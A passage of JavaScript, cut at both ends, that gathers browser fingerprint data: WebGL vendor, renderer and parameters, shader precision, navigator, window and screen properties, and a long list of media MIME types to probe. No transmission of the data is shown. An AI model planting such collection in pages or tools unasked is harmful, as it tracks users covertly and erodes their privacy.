                        const webgl = document.createElement('canvas').getContext('webgl');
                        const renderer = webgl.getExtension('WEBGL_debug_renderer_info');

                        result.vendor = webgl.getParameter(renderer.UNMASKED_VENDOR_WEBGL);
                        result.renderer = webgl.getParameter(renderer.UNMASKED_RENDERER_WEBGL);
                    } catch (_) {
                    }

                    return result;
                };

                // props
                const dumpObjProps = async (obj, keys) => {
                    const result = {};

                    if (obj) {
                        for (let n in keys) {
                            const key = keys[n];
                            const val = obj[key];

                            try {
                                if (
                                    ('function' == typeof val || 'object' == typeof val)
                                    && !(val === null)
                                    && !(val instanceof Array)
                                ) {
                                    result[key] = '_$obj!_//+_';
                                } else {
                                    if ('undefined' == typeof val) {
                                        result[key] = '_$obj!_undefined_//+_';
                                    } else {
                                        result[key] = val;
                                    }
                                }
                            } catch (_) {
                            }
                        }
                    }

                    return result;
                };

                const dumpNavigatorProps = async () => {
                    return dumpObjProps(navigator, [
                        'languages', 'userAgent', 'appCodeName', 'appMinorVersion', 'appName', 'appVersion', 'buildID',
                        'platform', 'product', 'productSub', 'hardwareConcurrency', 'cpuClass', 'maxTouchPoints', 'oscpu',
                        'vendor', 'vendorSub', 'deviceMemory', 'doNotTrack', 'msDoNotTrack', 'vibrate', 'credentials',
                        'storage', 'requestMediaKeySystemAccess', 'bluetooth', 'language', 'systemLanguage', 'userLanguage',
                    ]);
                };

                const dumpWindowProps = async () => {
                    return dumpObjProps(window, [
                        'innerWidth', 'innerHeight',
                        'outerWidth', 'outerHeight',
                        'screenX', 'screenY',
                        'pageXOffset', 'pageYOffset',
                        'Image', 'isSecureContext', 'devicePixelRatio', 'toolbar', 'locationbar', 'ActiveXObject', 'external',
                        'mozRTCPeerConnection', 'postMessage', 'webkitRequestAnimationFrame', 'BluetoothUUID', 'netscape',
                        'localStorage', 'sessionStorage', 'indexDB', 'BarcodeDetector',
                    ]);
                };

                const dumpScreenProps = async () => {
                    return dumpObjProps(screen, [
                        'availWidth', 'availHeight',
                        'availLeft', 'availTop',
                        'width', 'height',
                        'colorDepth', 'pixelDepth',
                    ]);
                };

                const dumpDocumentProps = async () => {
                    return dumpObjProps(document, ['characterSet', 'compatMode', 'documentMode', 'layers', 'images']);
                };

                const dumpBodyProps = async () => {
                    return dumpObjProps(document.body, ['clientWidth', 'clientHeight']);
                };

                // webgl
                const dumpWebGLCore = async (webglContextId, experimentalWebglContextId) => {
                    function getWebGLContext() {
                        const canvas = document.createElement('canvas');
                        let result = null;
                        try {
                            result = canvas.getContext(webglContextId) || canvas.getContext(experimentalWebglContextId);
                        } catch (ex) {
                        }

                        result || (result = null);
                        return result;
                    }

                    const webglContext = getWebGLContext();

                    function getMaxAnisotropy(ctx) {
                        if (ctx) {
                            const ext =
                                ctx.getExtension('EXT_texture_filter_anisotropic')
                            || ctx.getExtension('WEBKIT_EXT_texture_filter_anisotropic')
                            || ctx.getExtension('MOZ_EXT_texture_filter_anisotropic');

                            if (ext) {
                                return ctx.getParameter(ext.MAX_TEXTURE_MAX_ANISOTROPY_EXT);
                            }
                        }

                        return null;
                    }

                    if (!webglContext) {
                        return {};
                    }

                    // https://www.khronos.org/registry/webgl/specs/1.0/
                    const glEnums = [2849, 2849, 2884, 2884, 2885, 2885, 2886, 2886, 2928, 2928, 2929, 2929, 2930, 2930, 2931, 2931, 2932, 2932, 2960, 2960, 2961, 2961, 2962, 2962, 2963, 2963, 2964, 2964, 2965, 2965, 2966, 2966, 2967, 2967, 2968, 2968, 2978, 2978, 3024, 3024, 3042, 3042, 3088, 3088, 3089, 3089, 3106, 3106, 3107, 3107, 3317, 3317, 3333, 3333, 3379, 3386, 3408, 3408, 3410, 3411, 3412, 3413, 3414, 3415, 3415, 3415, 7936, 7937, 7938, 10752, 10752, 32773, 32773, 32777, 32777, 32823, 32823, 32824, 32824, 32873, 32873, 32883, 32883, 32936, 32936, 32937, 32937, 32938, 32938, 32939, 32939, 32968, 32968, 32969, 32969, 32970, 32970, 32971, 32971, 33170, 33170, 33901, 33902, 34016, 34016, 34024, 34045, 34045, 34047, 34068, 34068, 34076, 34467, 34467, 34816, 34816, 34817, 34817, 34818, 34818, 34819, 34819, 34852, 34852, 34877, 34877, 34921, 34930, 34964, 34964, 34965, 34965, 35071, 35071, 35076, 35076, 35077, 35077, 35371, 35371, 35373, 35373, 35374, 35374, 35375, 35375, 35376, 35376, 35377, 35377, 35379, 35379, 35380, 35380, 35657, 35657, 35658, 35658, 35659, 35659, 35660, 35661, 35724, 35725, 35725, 35968, 35968, 35978, 35978, 35979, 35979, 36003, 36003, 36004, 36004, 36005, 36005, 36006, 36006, 36007, 36007, 36063, 36063, 36183, 36183, 36347, 36348, 36349, 37154, 37154, 37157, 37157, 37440, 37440, 37441, 37441, 37443, 37443];
                    const result = {
                        'supportedExtensions': webglContext.getSupportedExtensions() || [],
                        'contextAttributes': webglContext.getContextAttributes(),
                        'maxAnisotropy': getMaxAnisotropy(webglContext),
                        'params': {},
                    };

                    for (const glEnum of glEnums) {
                        try {
                            const parmValue = webglContext.getParameter(glEnum);
                            result.params[glEnum] = {
                                'type': parmValue ? parmValue.constructor.name : '',
                                'value': parmValue,
                            };
                        } catch (ignored) {
                            debugger;
                        }
                    }

                    //
                    const args = [
                        [webglContext.VERTEX_SHADER, webglContext.HIGH_FLOAT],
                        [webglContext.VERTEX_SHADER, webglContext.MEDIUM_FLOAT],
                        [webglContext.VERTEX_SHADER, webglContext.LOW_FLOAT],
                        [webglContext.VERTEX_SHADER, webglContext.HIGH_INT],
                        [webglContext.VERTEX_SHADER, webglContext.MEDIUM_INT],
                        [webglContext.VERTEX_SHADER, webglContext.LOW_INT],

                        [webglContext.FRAGMENT_SHADER, webglContext.HIGH_FLOAT],
                        [webglContext.FRAGMENT_SHADER, webglContext.MEDIUM_FLOAT],
                        [webglContext.FRAGMENT_SHADER, webglContext.LOW_FLOAT],
                        [webglContext.FRAGMENT_SHADER, webglContext.HIGH_INT],
                        [webglContext.FRAGMENT_SHADER, webglContext.MEDIUM_INT],
                        [webglContext.FRAGMENT_SHADER, webglContext.LOW_INT],
                    ];

                    result.shaderPrecisionFormats = [];
                    for (let arg of args) {
                        let [shaderType, precisionType] = arg;
                        let r = webglContext.getShaderPrecisionFormat(shaderType, precisionType);

                        result.shaderPrecisionFormats.push({
                            shaderType,
                            precisionType,
                            r: {
                                rangeMin: r.rangeMin,
                                rangeMax: r.rangeMax,
                                precision: r.precision,
                            },
                        });
                    }

                    return result;
                };

                const dumpWebGL = async () => {
                    return await dumpWebGLCore('webgl', 'experimental-webgl');
                };

                const dumpWebGL2 = async () => {
                    return await dumpWebGLCore('webgl2', 'experimental-webgl2');
                };

                // mimeTypes
                const dumpMimeTypes = async () => {
                    const mimeTypes = ['application/mp21', 'application/mp4', 'application/octet-stream', 'application/ogg', 'application/vnd.apple.mpegurl', 'application/vnd.ms-ss', 'application/vnd.ms-sstr+xml', 'application/x-mpegURL; codecs="avc1.42E01E"', 'application/x-mpegurl', 'audio/3gpp', 'audio/3gpp2', 'audio/aac', 'audio/aac; codecs="flac"', 'audio/ac-3', 'audio/ac3', 'audio/acc', 'audio/aiff', 'audio/amr; codecs="hvc1x"', 'audio/basic', 'audio/ec-3', 'audio/flac', 'audio/m4a', 'audio/mid', 'audio/midi', 'audio/mp3', 'audio/mp3; codecs="vp9"', 'audio/mp4', 'audio/mp4; codecs="A52"', 'audio/mp4; codecs="Opus"', 'audio/mp4; codecs="a3ds"', 'audio/mp4; codecs="aac"', 'audio/mp4; codecs="ac-3"', 'audio/mp4; codecs="ac-4"', 'audio/mp4; codecs="ac3"', 'audio/mp4; codecs="alac"', 'audio/mp4; codecs="alaw"', 'audio/mp4; codecs="bogus"', 'audio/mp4; codecs="dra1"', 'audio/mp4; codecs="dts+"', 'audio/mp4; codecs="dts-"', 'audio/mp4; codecs="dtsc"', 'audio/mp4; codecs="dtse"', 'audio/mp4; codecs="dtsh"', 'audio/mp4; codecs="dtsl"', 'audio/mp4; codecs="dtsx"', 'audio/mp4; codecs="ec-3"', 'audio/mp4; codecs="enca"', 'audio/mp4; codecs="flac"', 'audio/mp4; codecs="g719"', 'audio/mp4; codecs="g726"', 'audio/mp4; codecs="m4ae"', 'audio/mp4; codecs="mha1"', 'audio/mp4; codecs="mha2"', 'audio/mp4; codecs="mhm1"', 'audio/mp4; codecs="mhm2"', 'audio/mp4; codecs="mlpa"', 'audio/mp4; codecs="mp3"', 'audio/mp4; codecs="mp4a"', 'audio/mp4; codecs="mp4a.40"', 'audio/mp4; codecs="mp4a.40.1"', 'audio/mp4; codecs="mp4a.40.12"', 'audio/mp4; codecs="mp4a.40.13"', 'audio/mp4; codecs="mp4a.40.14"', 'audio/mp4; codecs="mp4a.40.15"', 'audio/mp4; codecs="mp4a.40.16"', 'audio/mp4; codecs="mp4a.40.17"', 'audio/mp4; codecs="mp4a.40.19"', 'audio/mp4; codecs="mp4a.40.2"', 'audio/mp4; codecs="mp4a.40.20"', 'audio/mp4; codecs="mp4a.40.21"', 'audio/mp4; codecs="mp4a.40.22"', 'audio/mp4; codecs="mp4a.40.23"', 'audio/mp4; codecs="mp4a.40.24"', 'audio/mp4; codecs="mp4a.40.25"', 'audio/mp4; codecs="mp4a.40.26"', 'audio/mp4; codecs="mp4a.40.27"', 'audio/mp4; codecs="mp4a.40.28"', 'audio/mp4; codecs="mp4a.40.29"', 'audio/mp4; codecs="mp4a.40.3"', 'audio/mp4; codecs="mp4a.40.32"', 'audio/mp4; codecs="mp4a.40.33"', 'audio/mp4; codecs="mp4a.40.34"', 'audio/mp4; codecs="mp4a.40.35"', 'audio/mp4; codecs="mp4a.40.36"', 'audio/mp4; codecs="mp4a.40.4"', 'audio/mp4; codecs="mp4a.40.5"', 'audio/mp4; codecs="mp4a.40.6"', 'audio/mp4; codecs="mp4a.40.7"', 'audio/mp4; codecs="mp4a.40.8"', 'audio/mp4; codecs="mp4a.40.9"', 'audio/mp4; codecs="mp4a.66"', 'audio/mp4; codecs="mp4a.67"', 'audio/mp4; codecs="mp4a.68"', 'audio/mp4; codecs="mp4a.69"', 'audio/mp4; codecs="mp4a.6B"', 'audio/mp4; codecs="raw "', 'audio/mp4; codecs="samr"', 'audio/mp4; codecs="sawb"', 'audio/mp4; codecs="sawp"', 'audio/mp4; codecs="sevc"', 'audio/mp4; codecs="sqcp"', 'audio/mp4; codecs="ssmv"', 'audio/mp4; codecs="twos"', 'audio/mp4; codecs="ulaw"', 'audio/mpeg', 'audio/mpeg; codecs="mp3"', 'audio/mpegurl', 'audio/ogg; codecs="flac"', 'audio/ogg; codecs="opus"', 'audio/ogg; codecs="speex"', 'audio/ogg; codecs="theora, opus"', 'audio/ogg; codecs="vorbis"', 'audio/vnd.rn-realaudio', 'audio/vnd.wave', 'audio/wav', 'audio/wav; codecs="0"', 'audio/wav; codecs="1"', 'audio/wav; codecs="2"', 'audio/wave', 'audio/wave; codecs="0"', 'audio/wave; codecs="1"', 'audio/wave; codecs="2"', 'audio/wave; codecs=0', 'audio/wave; codecs=1', 'audio/wave; codecs=2', 'audio/webm', 'audio/webm; codecs="opus"', 'audio/webm; codecs="vorbis"', 'audio/webm; codecs="vp8"', 'audio/wma', 'audio/x-aac', 'audio/x-ac3', 'audio/x-aiff', 'audio/x-flac', 'audio/x-m4a', 'audio/x-m4a; codecs="mp3"', 'audio/x-m4a; codecs="vp8, mp4a.40"', 'audio/x-m4a; codecs="vp9, mp4a.40.2"', 'audio/x-midi', 'audio/x-mpeg', 'audio/x-mpegurl', 'audio/x-pn-realaudio', 'audio/x-pn-realaudio-plugin', 'audio/x-pn-wav', 'audio/x-pn-wav; codecs="0"', 'audio/x-pn-wav; codecs="1"', 'audio/x-pn-wav; codecs="2"', 'audio/x-scpls', 'audio/x-wav', 'audio/x-wav; codecs="0"', 'audio/x-wav; codecs="1"', 'audio/x-wav; codecs="2"', 'video/3gpp', 'video/3gpp2', 'video/3gpp; codecs="mp4v.20.8, samr"', 'video/avi', 'video/h263', 'video/mp2t', 'video/mp2t; codecs="avc1.42E01E,mp4a.40.2"', 'video/mp4', 'video/mp4; codecs="3gvo"', 'video/mp4; codecs="STGS"', 'video/mp4; codecs="a3d1"', 'video/mp4; codecs="a3d2"', 'video/mp4; codecs="a3d3"', 'video/mp4; codecs="a3d4"', 'video/mp4; codecs="av01.0.08M.08"', 'video/mp4; codecs="avc1"', 'video/mp4; codecs="avc1.123456"', 'video/mp4; codecs="avc1.2c000a"', 'video/mp4; codecs="avc1.2c000b"', 'video/mp4; codecs="avc1.2c000c"', 'video/mp4; codecs="avc1.2c000d"', 'video/mp4; codecs="avc1.2c0014"', 'video/mp4; codecs="avc1.2c0015"', 'video/mp4; codecs="avc1.2c0016"', 'video/mp4; codecs="avc1.2c001e"', 'video/mp4; codecs="avc1.2c001f"', 'video/mp4; codecs="avc1.2c0020"', 'video/mp4; codecs="avc1.2c0028"', 'video/mp4; codecs="avc1.2c0029"', 'video/mp4; codecs="avc1.2c002a"', 'video/mp4; codecs="avc1.2c0032"', 'video/mp4; codecs="avc1.2c0033"', 'video/mp4; codecs="avc1.2c0034"', 'video/mp4; codecs="avc1.2c003c"', 'video/mp4; codecs="avc1.2c003d"', 'video/mp4; codecs="avc1.2c003e"', 'video/mp4; codecs="avc1.2c003f"', 'video/mp4; codecs="avc1.2c0040"', 'video/mp4; codecs="avc1.2c0050"', 'video/mp4; codecs="avc1.2c006e"', 'video/mp4; codecs="avc1.2c0085"', 'video/mp4; codecs="avc1.42000a"', 'video/mp4; codecs="avc1.42000b"', 'video/mp4; codecs="avc1.42000c"', 'video/mp4; codecs="avc1.42000d"', 'video/mp4; codecs="avc1.420014"', 'video/mp4; codecs="avc1.420015"', 'video/mp4; codecs="avc1.420016"', 'video/mp4; codecs="avc1.42001e"', 'video/mp4; codecs="avc1.42001f"', 'video/mp4; codecs="avc1.420020"', 'video/mp4; codecs="avc1.420028"', 'video/mp4; codecs="avc1.420029"', 'video/mp4; codecs="avc1.42002a"', 'video/mp4; codecs="avc1.420032"', 'video/mp4; codecs="avc1.420033"', 'video/mp4; codecs="avc1.420034"', 'video/mp4; codecs="avc1.42003c"', 'video/mp4; codecs="avc1.42003d"', 'video/mp4; codecs="avc1.42003e"', 'video/mp4; codecs="avc1.42003f"', 'video/mp4; codecs="avc1.420040"', 'video/mp4; codecs="avc1.420050"', 'video/mp4; codecs="avc1.42006e"', 'video/mp4; codecs="avc1.420085"', 'video/mp4; codecs="avc1.42400a"', 'video/mp4; codecs="avc1.42400b"', 'video/mp4; codecs="avc1.42400c"', 'video/mp4; codecs="avc1.42400d"', 'video/mp4; codecs="avc1.424014"', 'video/mp4; codecs="avc1.424015"', 'video/mp4; codecs="avc1.424016"', 'video/mp4; codecs="avc1.42401e"', 'video/mp4; codecs="avc1.42401f"', 'video/mp4; codecs="avc1.424020"', 'video/mp4; codecs="avc1.424028"', 'video/mp4; codecs="avc1.424029"', 'video/mp4; codecs="avc1.42402a"', 'video/mp4; codecs="avc1.424032"', 'video/mp4; codecs="avc1.424033"', 'video/mp4; codecs="avc1.424034"', 'video/mp4; codecs="avc1.42403c"', 'video/mp4; codecs="avc1.42403d"', 'video/mp4; codecs="avc1.42403e"', 'video/mp4; codecs="avc1.42403f"', 'video/mp4; codecs="avc1.424040"', 'video/mp4; codecs="avc1.424050"', 'video/mp4; codecs="avc1.42406e"', 'video/mp4; codecs="avc1.424085"', 'video/mp4; codecs="avc1.42E009"', 'video/mp4; codecs="avc1.42E01E"', 'video/mp4; codecs="avc1.42E01E, mp4a.40.2"', 'video/mp4; codecs="avc1.42E034"', 'video/mp4; codecs="avc1.42F01E"', 'video/mp4; codecs="avc1.42c00d"', 'video/mp4; codecs="avc1.4D001E"', 'video/mp4; codecs="avc1.4d000a"', 'video/mp4; codecs="avc1.4d000b"', 'video/mp4; codecs="avc1.4d000c"', 'video/mp4; codecs="avc1.4d000d"', 'video/mp4; codecs="avc1.4d0014"', 'video/mp4; codecs="avc1.4d0015"', 'video/mp4; codecs="avc1.4d0016"', 'video/mp4; codecs="avc1.4d001e"', 'video/mp4; codecs="avc1.4d001f"', 'video/mp4; codecs="avc1.4d0020"', 'video/mp4; codecs="avc1.4d0028"', 'video/mp4; codecs="avc1.4d0029"', 'video/mp4; codecs="avc1.4d002a"', 'video/mp4; codecs="avc1.4d0032"', 'video/mp4; codecs="avc1.4d0033"', 'video/mp4; codecs="avc1.4d0034"', 'video/mp4; codecs="avc1.4d003c"', 'video/mp4; codecs="avc1.4d003d"', 'video/mp4; codecs="avc1.4d003e"', 'video/mp4; codecs="avc1.4d003f"', 'video/mp4; codecs="avc1.4d0040"', 'video/mp4; codecs="avc1.4d0050"', 'video/mp4; codecs="avc1.4d006e"', 'video/mp4; codecs="avc1.4d0085"', 'video/mp4; codecs="avc1.4d400a"', 'video/mp4; codecs="avc1.4d400b"', 'video/mp4; codecs="avc1.4d400c"', 'video/mp4; codecs="avc1.4d400d"', 'video/mp4; codecs="avc1.4d4014"', 'video/mp4; codecs="avc1.4d4015"', 'video/mp4; codecs="avc1.4d4016"', 'video/mp4; codecs="avc1.4d401e"', 'video/mp4; codecs="avc1.4d401f"', 'video/mp4; codecs="avc1.4d4020"', 'video/mp4; codecs="avc1.4d4028"', 'video/mp4; codecs="avc1.4d4029"', 'video/mp4; codecs="avc1.4d402a"', 'video/mp4; codecs="avc1.4d4032"', 'video/mp4; codecs="avc1.4d4033"', 'video/mp4; codecs="avc1.4d4034"', 'video/mp4; codecs="avc1.4d403c"', 'video/mp4; codecs="avc1.4d403d"', 'video/mp4; codecs="avc1.4d403e"', 'video/mp4; codecs="avc1.4d403f"', 'video/mp4; codecs="avc1.4d4040"', 'video/mp4; codecs="avc1.4d4050"', 'video/mp4; codecs="avc1.4d406e"', 'video/mp4; codecs="avc1.4d4085"', 'video/mp4; codecs="avc1.53000a"', 'video/mp4; codecs="avc1.53000b"', 'video/mp4; codecs="avc1.53000c"', 'video/mp4; codecs="avc1.53000d"', 'video/mp4; codecs="avc1.530014"', 'video/mp4; codecs="avc1.530015"', 'video/mp4; codecs="avc1.530016"', 'video/mp4; codecs="avc1.53001e"', 'video/mp4; codecs="avc1.53001f"', 'video/mp4; codecs="avc1.530020"', 'video/mp4; codecs="avc1.530028"', 'video/mp4; codecs="avc1.530029"', 'video/mp4; codecs="avc1.53002a"', 'video/mp4; codecs="avc1.530032"', 'video/mp4; codecs="avc1.530033"', 'video/mp4; codecs="avc1.530034"', 'video/mp4; codecs="avc1.53003c"', 'video/mp4; codecs="avc1.53003d"', 'video/mp4; codecs="avc1.53003e"', 'video/mp4; codecs="avc1.53003f"', 'video/mp4; codecs="avc1.530040"', 'video/mp4; codecs="avc1.530050"', 'video/mp4; codecs="avc1.53006e"', 'video/mp4; codecs="avc1.530085"', 'video/mp4; codecs="avc1.53040a"', 'video/mp4; codecs="avc1.53040b"', 'video/mp4; codecs="avc1.53040c"', 'video/mp4; codecs="avc1.53040d"', 'video/mp4; codecs="avc1.530414"', 'video/mp4; codecs="avc1.530415"', 'video/mp4; codecs="avc1.530416"', 'video/mp4; codecs="avc1.53041e"', 'video/mp4; codecs="avc1.53041f"', 'video/mp4; codecs="avc1.530420"', 'video/mp4; codecs="avc1.530428"', 'video/mp4; codecs="avc1.530429"', 'video/mp4; codecs="avc1.53042a"', 'video/mp4; codecs="avc1.530432"', 'video/mp4; codecs="avc1.530433"', 'video/mp4; codecs="avc1.530434"', 'video/mp4; codecs="avc1.53043c"', 'video/mp4; codecs="avc1.53043d"', 'video/mp4; codecs="avc1.53043e"', 'video/mp4; codecs="avc1.53043f"', 'video/mp4; codecs="avc1.530440"', 'video/mp4; codecs="avc1.530450"', 'video/mp4; codecs="avc1.53046e"', 'video/mp4; codecs="avc1.530485"', 'video/mp4; codecs="avc1.56000a"', 'video/mp4; codecs="avc1.56000b"', 'video/mp4; codecs="avc1.56000c"', 'video/mp4; codecs="avc1.56000d"', 'video/mp4; codecs="avc1.560014"', 'video/mp4; codecs="avc1.560015"', 'video/mp4; codecs="avc1.560016"', 'video/mp4; codecs="avc1.56001e"', 'video/mp4; codecs="avc1.56001f"', 'video/mp4; codecs="avc1.560020"', 'video/mp4; codecs="avc1.560028"', 'video/mp4; codecs="avc1.560029"', 'video/mp4; codecs="avc1.56002a"', 'video/mp4; codecs="avc1.560032"', 'video/mp4; codecs="avc1.560033"', 'video/mp4; codecs="avc1.560034"', 'video/mp4; codecs="avc1.56003c"', 'video/mp4; codecs="avc1.56003d"', 'video/mp4; codecs="avc1.56003e"', 'video/mp4; codecs="avc1.56003f"', 'video/mp4; codecs="avc1.560040"', 'video/mp4; codecs="avc1.560050"', 'video/mp4; codecs="avc1.56006e"', 'video/mp4; codecs="avc1.560085"', 'video/mp4; codecs="avc1.56040a"', 'video/mp4; codecs="avc1.56040b"', 'video/mp4; codecs="avc1.56040c"', 'video/mp4; codecs="avc1.56040d"', 'video/mp4; codecs="avc1.560414"', 'video/mp4; codecs="avc1.560415"', 'video/mp4; codecs="avc1.560416"', 'video/mp4; codecs="avc1.56041e"', 'video/mp4; codecs="avc1.56041f"', 'video/mp4; codecs="avc1.560420"', 'video/mp4; codecs="avc1.560428"', 'video/mp4; codecs="avc1.560429"', 'video/mp4; codecs="avc1.56042a"', 'video/mp4; codecs="avc1.560432"', 'video/mp4; codecs="avc1.560433"', 'video/mp4; codecs="avc1.560434"', 'video/mp4; codecs="avc1.56043c"', 'video/mp4; codecs="avc1.56043d"', 'video/mp4; codecs="avc1.56043e"', 'video/mp4; codecs="avc1.56043f"', 'video/mp4; codecs="avc1.560440"', 'video/mp4; codecs="avc1.560450"', 'video/mp4; codecs="avc1.56046e"', 'video/mp4; codecs="avc1.560485"', 'video/mp4; codecs="avc1.56100a"', 'video/mp4; codecs="avc1.56100b"', 'video/mp4; codecs="avc1.56100c"', 'video/mp4; codecs="avc1.56100d"', 'video/mp4; codecs="avc1.561014"', 'video/mp4; codecs="avc1.561015"', 'video/mp4; codecs="avc1.561016"', 'video/mp4; codecs="avc1.56101e"', 'video/mp4; codecs="avc1.56101f"', 'video/mp4; codecs="avc1.561020"', 'video/mp4; codecs="avc1.561028"', 'video/mp4; codecs="avc1.561029"', 'video/mp4; codecs="avc1.56102a"', 'video/mp4; codecs="avc1.561032"', 'video/mp4; codecs="avc1.561033"', 'video/mp4; codecs="avc1.561034"', 'video/mp4; codecs="avc1.56103c"', 'video/mp4; codecs="avc1.56103d"', 'video/mp4; codecs="avc1.56103e"', 'video/mp4; codecs="avc1.56103f"', 'video/mp4; codecs="avc1.561040"', 'video/mp4; codecs="avc1.561050"', 'video/mp4; codecs="avc1.56106e"', 'video/mp4; codecs="avc1.561085"', 'video/mp4; codecs="avc1.58000a"', 'video/mp4; codecs="avc1.58000b"', 'video/mp4; codecs="avc1.58000c"', 'video/mp4; codecs="avc1.58000d"', 'video/mp4; codecs="avc1.580014"', 'video/mp4; codecs="avc1.580015"', 'video/mp4; codecs="avc1.580016"', 'video/mp4; codecs="avc1.58001e"', 'video/mp4; codecs="avc1.58001f"', 'video/mp4; codecs="avc1.580020"', 'video/mp4; codecs="avc1.580028"', 'video/mp4; codecs="avc1.580029"', 'video/mp4; codecs="avc1.58002a"', 'video/mp4; codecs="avc1.580032"', 'video/mp4; codecs="avc1.580033"', 'video/mp4; codecs="avc1.580034"', 'video/mp4; codecs="avc1.58003c"', 'video/mp4; codecs="avc1.58003d"', 'video/mp4; codecs="avc1.58003e"', 'video/mp4; codecs="avc1.58003f"', 'video/mp4; codecs="avc1.580040"', 'video/mp4; codecs="avc1.580050"', 'video/mp4; codecs="avc1.58006e"', 'video/mp4; codecs="avc1.580085"', 'video/mp4; codecs="avc1.64000a"', 'video/mp4; codecs="avc1.64000b"', 'video/mp4; codecs="avc1.64000c"', 'video/mp4; codecs="avc1.64000d"', 'video/mp4; codecs="avc1.640014"', 'video/mp4; codecs="avc1.640015"', 'video/mp4; codecs="avc1.640016"', 'video/mp4; codecs="avc1.64001E, mp4a.40.2"', 'video/mp4; codecs="avc1.64001e"', 'video/mp4; codecs="avc1.64001f"', 'video/mp4; codecs="avc1.640020"', 'video/mp4; codecs="avc1.640028"', 'video/mp4; codecs="avc1.640029"', 'video/mp4; codecs="avc1.64002a"', 'video/mp4; codecs="avc1.640032"', 'video/mp4; codecs="avc1.640033"', 'video/mp4; codecs="avc1.640034"', 'video/mp4; codecs="avc1.64003c"', 'video/mp4; codecs="avc1.64003d"', 'video/mp4; codecs="avc1.64003e"', 'video/mp4; codecs="avc1.64003f"', 'video/mp4; codecs="avc1.640040"', 'video/mp4; codecs="avc1.640050"', 'video/mp4; codecs="avc1.64006e"', 'video/mp4; codecs="avc1.640085"', 'video/mp4; codecs="avc1.64080a"', 'video/mp4; codecs="avc1.64080b"', 'video/mp4; codecs="avc1.64080c"', 'video/mp4; codecs="avc1.64080d"', 'video/mp4; codecs="avc1.640814"', 'video/mp4; codecs="avc1.640815"', 'video/mp4; codecs="avc1.640816"', 'video/mp4; codecs="avc1.64081e"', 'video/mp4; codecs="avc1.64081f"', 'video/mp4; codecs="avc1.640820"', 'video/mp4; codecs="avc1.640828"', 'video/mp4; codecs="avc1.640829"', 'video/mp4; codecs="avc1.64082a"', 'video/mp4; codecs="avc1.640832"', 'video/mp4; codecs="avc1.640833"', 'video/mp4; codecs="avc1.640834"', 'video/mp4; codecs="avc1.64083c"', 'video/mp4; codecs="avc1.64083d"', 'video/mp4; codecs="avc1.64083e"', 'video/mp4; codecs="avc1.64083f"', 'video/mp4; codecs="avc1.640840"', 'video/mp4; codecs="avc1.640850"', 'video/mp4; codecs="avc1.64086e"', 'video/mp4; codecs="avc1.640885"', 'video/mp4; codecs="avc1.6e000a"', 'video/mp4; codecs="avc1.6e000b"', 'video/mp4; codecs="avc1.6e000c"', 'video/mp4; codecs="avc1.6e000d"', 'video/mp4; codecs="avc1.6e0014"', 'video/mp4; codecs="avc1.6e0015"', 'video/mp4; codecs="avc1.6e0016"', 'video/mp4; codecs="avc1.6e001e"', 'video/mp4; codecs="avc1.6e001f"', 'video/mp4; codecs="avc1.6e0020"', 'video/mp4; codecs="avc1.6e0028"', 'video/mp4; codecs="avc1.6e0029"', 'video/mp4; codecs="avc1.6e002a"', 'video/mp4; codecs="avc1.6e0032"', 'video/mp4; codecs="avc1.6e0033"', 'video/mp4; codecs="avc1.6e0034"', 'video/mp4; codecs="avc1.6e003c"', 'video/mp4; codecs="avc1.6e003d"', 'video/mp4; codecs="avc1.6e003e"', 'video/mp4; codecs="avc1.6e003f"', 'video/mp4; codecs="avc1.6e0040"', 'video/mp4; codecs="avc1.6e0050"', 'video/mp4; codecs="avc1.6e006e"', 'video/mp4; codecs="avc1.6e0085"', 'video/mp4; codecs="avc1.6e100a"', 'video/mp4; codecs="avc1.6e100b"', 'video/mp4; codecs="avc1.6e100c"', 'video/mp4; codecs="avc1.6e100d"', 'video/mp4; codecs="avc1.6e1014"', 'video/mp4; codecs="avc1.6e1015"', 'video/mp4; codecs="avc1.6e1016"', 'video/mp4; codecs="avc1.6e101e"', 'video/mp4; codecs="avc1.6e101f"', 'video/mp4; codecs="avc1.6e1020"', 'video/mp4; codecs="avc1.6e1028"', 'video/mp4; codecs="avc1.6e1029"', 'video/mp4; codecs="avc1.6e102a"', 'video/mp4; codecs="avc1.6e1032"', 'video/mp4; codecs="avc1.6e1033"', 'video/mp4; codecs="avc1.6e1034"', 'video/mp4; codecs="avc1.6e103c"', 'video/mp4; codecs="avc1.6e103d"', 'video/mp4; codecs="avc1.6e103e"', 'video/mp4; codecs="avc1.6e103f"', 'video/mp4; codecs="avc1.6e1040"', 'video/mp4; codecs="avc1.6e1050"', 'video/mp4; codecs="avc1.6e106e"', 'video/mp4; codecs="avc1.6e1085"', 'video/mp4; codecs="avc1.76000a"', 'video/mp4; codecs="avc1.76000b"', 'video/mp4; codecs="avc1.76000c"', 'video/mp4; codecs="avc1.76000d"', 'video/mp4; codecs="avc1.760014"', 'video/mp4; codecs="avc1.760015"', 'video/mp4; codecs="avc1.760016"', 'video/mp4; codecs="avc1.76001e"', 'video/mp4; codecs="avc1.76001f"', 'video/mp4; codecs="avc1.760020"', 'video/mp4; codecs="avc1.760028"', 'video/mp4; codecs="avc1.760029"', 'video/mp4; codecs="avc1.76002a"', 'video/mp4; codecs="avc1.760032"', 'video/mp4; codecs="avc1.760033"', 'video/mp4; codecs="avc1.760034"', 'video/mp4; codecs="avc1.76003c"', 'video/mp4; codecs="avc1.76003d"', 'video/mp4; codecs="avc1.76003e"', 'video/mp4; codecs="avc1.76003f"', 'video/mp4; codecs="avc1.760040"', 'video/mp4; codecs="avc1.760050"', 'video/mp4; codecs="avc1.76006e"', 'video/mp4; codecs="avc1.760085"', 'video/mp4; codecs="avc1.7a000a"', 'video/mp4; codecs="avc1.7a000b"', 'video/mp4; codecs="avc1.7a000c"', 'video/mp4; codecs="avc1.7a000d"', 'video/mp4; codecs="avc1.7a0014"', 'video/mp4; codecs="avc1.7a0015"', 'video/mp4; codecs="avc1.7a0016"', 'video/mp4; codecs="avc1.7a001e"', 'video/mp4; codecs="avc1.7a001f"', 'video/mp4; codecs="avc1.7a0020"', 'video/mp4; codecs="avc1.7a0028"', 'video/mp4; codecs="avc1.7a0029"', 'video/mp4; codecs="avc1.7a002a"', 'video/mp4; codecs="avc1.7a0032"', 'video/mp4; codecs="avc1.7a0033"', 'video/mp4; codecs="avc1.7a0034"', 'video/mp4; codecs="avc1.7a003c"', 'video/mp4; codecs="avc1.7a003d"', 'video/mp4; codecs="avc1.7a003e"', 'video/mp4; codecs="avc1.7a003f"', 'video/mp4; codecs="avc1.7a0040"', 'video/mp4; codecs="avc1.7a0050"', 'video/mp4; 